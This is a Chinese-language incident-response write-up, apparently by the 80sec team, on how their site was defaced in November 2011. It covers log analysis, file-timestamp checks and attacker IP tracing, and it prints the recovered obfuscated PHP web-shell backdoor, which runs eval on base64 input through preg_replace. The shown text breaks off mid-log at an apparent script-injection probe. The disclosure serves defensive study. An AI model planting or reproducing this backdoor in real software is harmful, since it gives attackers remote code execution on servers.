EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2011-11-30
From: http://www.80sec.com/
[ 目錄 ]
0×00 事件背景
0×01 應急響應
0×02 事件分析
0×03 事件啟示
0×04 總結
在感恩節的晚上,我們的站點遭遇了攻擊,幾名未知性别的黑客成功塗改掉了我們的首頁,事情發生後很多朋友對我們被攻擊的原因和經過都很關心,各種猜測都有,加上我們後續對于這次攻擊的分析結果來看,我們覺得整次攻擊和事後應急及分析的過程都适合作為一次典型的案例分析,把整件事情披露出來無論是對我們還是對業界會非常有意義,入侵者給我們在感恩節送了這麼好的禮物,我們要好好接受才對:)
事件發生之後的一段時間我們登入到伺服器,由于首頁替換的時間很短暫,我們甚至沒有抓到截圖,開始甚至都懷疑是ARP欺騙或者是DNS劫持之類的攻擊,但是作為應急響應的箴言之一,我們最好不要相信猜測,一切以日志分析為主,一旦猜測我們從開始就輸了。
我們知道在webserver的日志裡記錄了幾乎所有有價值的資訊,我們後續的檢測必須依賴于日志,是以建議各位日志沒開的同學先把日志打開并且儲存足夠長的時間,在這個有價值的資訊裡,我們第一個需要找準的就是攻擊發生的具體時間點,因為我們是首頁被黑并且時間較短,我們迅速stat了下首頁檔案的内容,發現完全正常沒有任何改變:
File: `/home/jianxin/80sec.com/public_html/index.php’
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800
我們知道在linux系統下面的ctime會需要權限較高才能修改,而我們的系統是最新的patch,據我們了解也應該不存在使用未公開的漏洞來攻擊我們的可能,畢竟我們隻是一個技術站點,難道真的是ARP或者是Dns劫持麼?在webserver的log裡有一個選項記錄了這一次請求所傳遞的資料量,我們對比了下發現,的确在某個時間首頁的資料量有一個顯著的減少:
173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;
為676位元組,而一般的請求大小為
98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″
31831位元組,我們可以确認webserver的确出現了問題,入侵者的确能夠控制我們的首頁顯示,到這裡我們基本可以确定攻擊時間和攻擊的源IP了,當你被黑了的時候,第一個通路那個頁面的基本就是攻擊者本人,他們會迫不及待的來看攻擊成果:)
既然伺服器有問題了,那我們來看看今天有什麼檔案被修改了:
find /home/ -ctime 1
立刻我們就發現了一些好玩的東西:
<?PHP
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
看來這就是那隻後門了,寫到了一個全局可寫的緩存檔案裡,而且特意做了隐藏,基本是正常的代碼也不觸發什麼關鍵字,那麼問題在于這麼一些可愛的代碼是怎麼到我的伺服器上的呢?這個後門我們發現最早出現的時間并不是在80sec裡,而是在同一伺服器上一個80sec童鞋的Blog裡,最早的時間可以追朔到
218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2"
ip似乎也比較吻合,那麼似乎假設如果沒有猜錯的話,第一個被攻擊的目标應該是這個很勺的80sec童鞋的Blog才對,那麼是如何攻擊的呢?我們将日志裡與這個ip相關的抽取出來
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"
攻擊很早就發生了,甚至還使用了
218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s=
HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=<SCRIP